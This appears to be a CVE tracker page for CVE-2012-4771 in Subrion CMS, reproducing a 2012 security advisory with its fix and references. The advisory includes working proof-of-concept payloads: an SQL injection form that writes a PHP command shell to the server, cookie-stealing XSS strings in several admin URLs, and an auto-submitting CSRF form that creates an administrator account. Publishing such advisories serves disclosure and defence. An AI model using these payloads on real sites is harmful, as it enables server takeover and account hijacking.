CVE-2012-4771
Description
Multiple cross-site scripting (XSS) vulnerabilities in Subrion CMS before 2.2.3 allow remote attackers to inject arbitrary web script or HTML via the id parameter to (1) admin/accounts/, (2) admin/manage/, or (3) admin/manage/blocks/edit/; or (4) group parameter to admin/configuration/. NOTE: The f[accounts][fullname] and f[accounts][username] vectors are covered in CVE-2012-5452.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
subrion CMS 2.2.1 - Multiple Vulnerabilities
Advisory ID: HTB23113
Product: Subrion CMS
Vendor: The Subrion development team
Vulnerable Version(s): 2.2.1 and probably prior
Tested Version: 2.2.1
Vendor Notification: September 5, 2012
Public Disclosure: October 17, 2012
Vulnerability Type: SQL Injection [CWE-89], Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2012-4771, CVE-2012-4772, CVE-2012-4773
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Risk Level: High
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Subrion CMS, which can be exploited to perform Cross-Site Scripting (XSS), SQL Injection and Сross-Site Request Forgery (CSRF) attacks.
1) SQL Injection in Subrion CMS: CVE-2012-4772
Input passed via the "plan_id" POST parameter to /register/ URL (modified by mod_rewrite to /system.php script) is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]/register/" method="post">
<input type="hidden" name="username" value='username' />
<input type="hidden" name="fullname" value='fullname' />
<input type="hidden" name="email" value='username@mail.com' />
<input type="hidden" name="password" value='password' />
<input type="hidden" name="password2" value='password' />
<input type="hidden" name="security_code" value='[CAPTCHA]' />
<input type="hidden" name="plan_id" value="0 UNION SELECT '<? system($cmd); ?>',1,1,1,1,1,1,1,1,1,1,1,1,1 INTO OUTFILE '../../../path/to/site/file.php'" />
<input type="hidden" name="register" value="" />
<input type="submit" id="btn">
</form>
Depending on web and SQL servers configuration, the above-mentioned PoC code creates a simple PHP shell on the vulnerable system.
2) Cross-Site Scripting (XSS) in Subrion CMS: CVE-2012-4771
2.1 Input passed via the "f[accounts][fullname]" and "f[accounts][username]" GET parameters to /advsearch/ URL (modified by mod_rewrite to /system.php script) is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of an affected website.
The following PoC demonstrates the vulnerability:
<form action="http://[host]/advsearch/" method="post">
<input type="hidden" name="items[]" value='accounts' />
<input type="hidden" name="f[accounts][fullname]" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="f[accounts][username]" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="q" value='' />
<input type="submit" id="btn">
</form>
2.2 Input passed via the "id" and "group" GET parameters to multiple files is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of an affected website.
The following PoCs demonstrate the vulnerabilities:
http://[host]/admin/accounts/edit/?id=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/configuration/?group=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/manage/fields/edit/?id=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/manage/blocks/edit/?id=1%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
3) Сross-Site Request Forgery (CSRF) in Subrion CMS: CVE-2012-4773
The application allows authorized administrator to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to create new administrator or execute arbitrary SQL code.
An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.
The following PoC creates administrative account within application:
<form action="http://[host]/admin/accounts/add/" method="post">
<input type="hidden" name="username" value='new_admin' />
<input type="hidden" name="fullname" value='new_admin' />
<input type="hidden" name="email" value='new_admin@mail.com' />
<input type="hidden" name="usergroup" value='1' />
<input type="hidden" name="status" value='active' />
<input type="hidden" name="_password" value='_password' />
<input type="hidden" name="_password2" value='_password' />
<input type="hidden" name="save" value="Add" />
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
-----------------------------------------------------------------------------------------------
Solution:
Upgrade to Subrion 2.2.3
More Information:
http://www.subrion.com/forums/announcements/934-subrion-2-2-3-open-source-cms-core-available.html
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23113 - https://www.htbridge.com/advisory/HTB23113 - Multiple vulnerabilities in Subrion CMS.
[2] Subrion CMS - http://www.subrion.com/ - Subrion CMS is a stand-alone PHP content management system that is very easy to use. It comes with a ton of great features including full source editing, per-page permissions, user activity monitoring, and much more.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| intelliants | subrion_cms | {"endIncluding":"2.2.2"} | |
| intelliants | subrion_cms | 2.0.4 | |
| intelliants | subrion_cms | 2.2.0 | |
| intelliants | subrion_cms | 2.2.1 | |
References
- http://archives.neohapsis.com/archives/bugtraq/2012-10/0096.html
- http://packetstormsecurity.org/files/117460/Subrion-CMS-2.2.1-XSS-CSRF-SQL-Injection.html
- http://secunia.com/advisories/51013
- http://www.subrion.com/forums/announcements/934-subrion-2-2-3-open-source-cms-core-available.html
- http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5105.php
- https://exchange.xforce.ibmcloud.com/vulnerabilities/79468
- https://www.htbridge.com/advisory/HTB23113
- http://archives.neohapsis.com/archives/bugtraq/2012-10/0096.html
- http://packetstormsecurity.org/files/117460/Subrion-CMS-2.2.1-XSS-CSRF-SQL-Injection.html
- http://secunia.com/advisories/51013
- http://www.subrion.com/forums/announcements/934-subrion-2-2-3-open-source-cms-core-available.html
- http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5105.php
- https://exchange.xforce.ibmcloud.com/vulnerabilities/79468
- https://www.htbridge.com/advisory/HTB23113
CWEs
CWE-79
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.